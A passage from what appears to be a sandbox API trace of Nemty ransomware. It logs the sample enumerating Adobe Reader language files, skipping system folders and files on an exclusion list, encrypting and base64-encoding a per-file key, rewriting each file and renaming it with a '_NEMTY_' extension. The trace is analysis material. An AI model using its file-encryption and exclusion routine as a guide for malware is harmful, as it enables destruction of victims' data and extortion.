0x4f9ece0 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.556] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt._nemty_kgobjgd_")) returned 1 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.557] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_US.txt", cAlternateFileName="DI5822~1.TXT")) returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2=".") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="..") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="...") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="windows") returned -1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="rsa") returned -1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="NTDETECT.COM") returned -1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="ntldr") returned -1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="MSDOS.SYS") returned -1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="IO.SYS") returned -1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="boot.ini") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="boot.ini") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="ntuser.dat") returned -1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="desktop.ini") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="CONFIG.SYS") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="RECYCLER") returned -1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="bootmgr") returned 1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="programdata") returned -1 [0215.557] lstrcmpiW (lpString1="DisplayLanguageNames.es_US.txt", lpString2="appdata") returned 1 [0215.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_US.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_US.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_US.txt", lpUsedDefaultChar=0x0) returned 30 [0215.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_US.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_US.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_US.txt", lpUsedDefaultChar=0x0) returned 30 [0215.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_US.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_US.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_US.txt", lpUsedDefaultChar=0x0) returned 30 [0215.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_US.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_US.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_US.txt", lpUsedDefaultChar=0x0) returned 30 [0215.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.558] Sleep (dwMilliseconds=0x5) [0215.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x341edb10, dwHighDateTime=0x1d561e8)) [0215.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x341edb10, dwHighDateTime=0x1d561e8)) [0215.558] GetLastError () returned 0x0 [0215.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.559] GetLastError () returned 0x0 [0215.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.559] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.559] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.559] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.559] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="f+OUCf2Rmb1sCiiT+d07vALXVdq0vqjFXmHseFZd+N9NvkuyJ/4bH6WnKnUYMY+D\r\n6WyUMPRcOW/Sg1ZUZPLGgMK2kssTEwuOeP3iqgQL2XTL4MzzLEfV00ugw9weqqFD\r\nQcCV1aoYfb3XzUyH1KJ/ct9vWVtBfXMxe8MMZ0TVhmj1yR/H2kY8m4m1NGPVQR3/\r\nJaAGDje3XlLvDw1q2PH2KJ4p3bHa9rn2rwSRRMDqWudFkv3Eo0Fpl5rLvUcx37WY\r\n8+j1XjXPNCGF4Hn3L6aj9OMpkmpN3nPziT7WoopExdvuJq92ivY6mP8v72kd918x\r\nx4g17QRXBNYiKACHBPorjg==\r\n", pcchString=0x653e5dc) returned 1 [0215.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.560] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.560] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.560] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.563] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.563] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.563] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.564] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.564] CloseHandle (hObject=0x2e8) returned 1 [0215.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.564] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt._nemty_kgobjgd_")) returned 1 [0215.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.565] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_UY.txt", cAlternateFileName="DIC7CE~1.TXT")) returned 1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2=".") returned 1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="..") returned 1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="...") returned 1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="windows") returned -1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="rsa") returned -1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="NTDETECT.COM") returned -1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="ntldr") returned -1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="MSDOS.SYS") returned -1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="IO.SYS") returned -1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="boot.ini") returned 1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="boot.ini") returned 1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.565] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="ntuser.dat") returned -1 [0215.566] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="desktop.ini") returned 1 [0215.566] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="CONFIG.SYS") returned 1 [0215.566] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="RECYCLER") returned -1 [0215.566] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.566] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="bootmgr") returned 1 [0215.566] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="programdata") returned -1 [0215.566] lstrcmpiW (lpString1="DisplayLanguageNames.es_UY.txt", lpString2="appdata") returned 1 [0215.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_UY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_UY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_UY.txt", lpUsedDefaultChar=0x0) returned 30 [0215.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_UY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_UY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_UY.txt", lpUsedDefaultChar=0x0) returned 30 [0215.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_UY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_UY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_UY.txt", lpUsedDefaultChar=0x0) returned 30 [0215.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_UY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_UY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_UY.txt", lpUsedDefaultChar=0x0) returned 30 [0215.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.566] Sleep (dwMilliseconds=0x5) [0215.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34213c70, dwHighDateTime=0x1d561e8)) [0215.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34213c70, dwHighDateTime=0x1d561e8)) [0215.576] GetLastError () returned 0x0 [0215.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.576] GetLastError () returned 0x0 [0215.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.576] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.576] CryptBinaryToStringA (in: pbBinary=0x653e5e4, 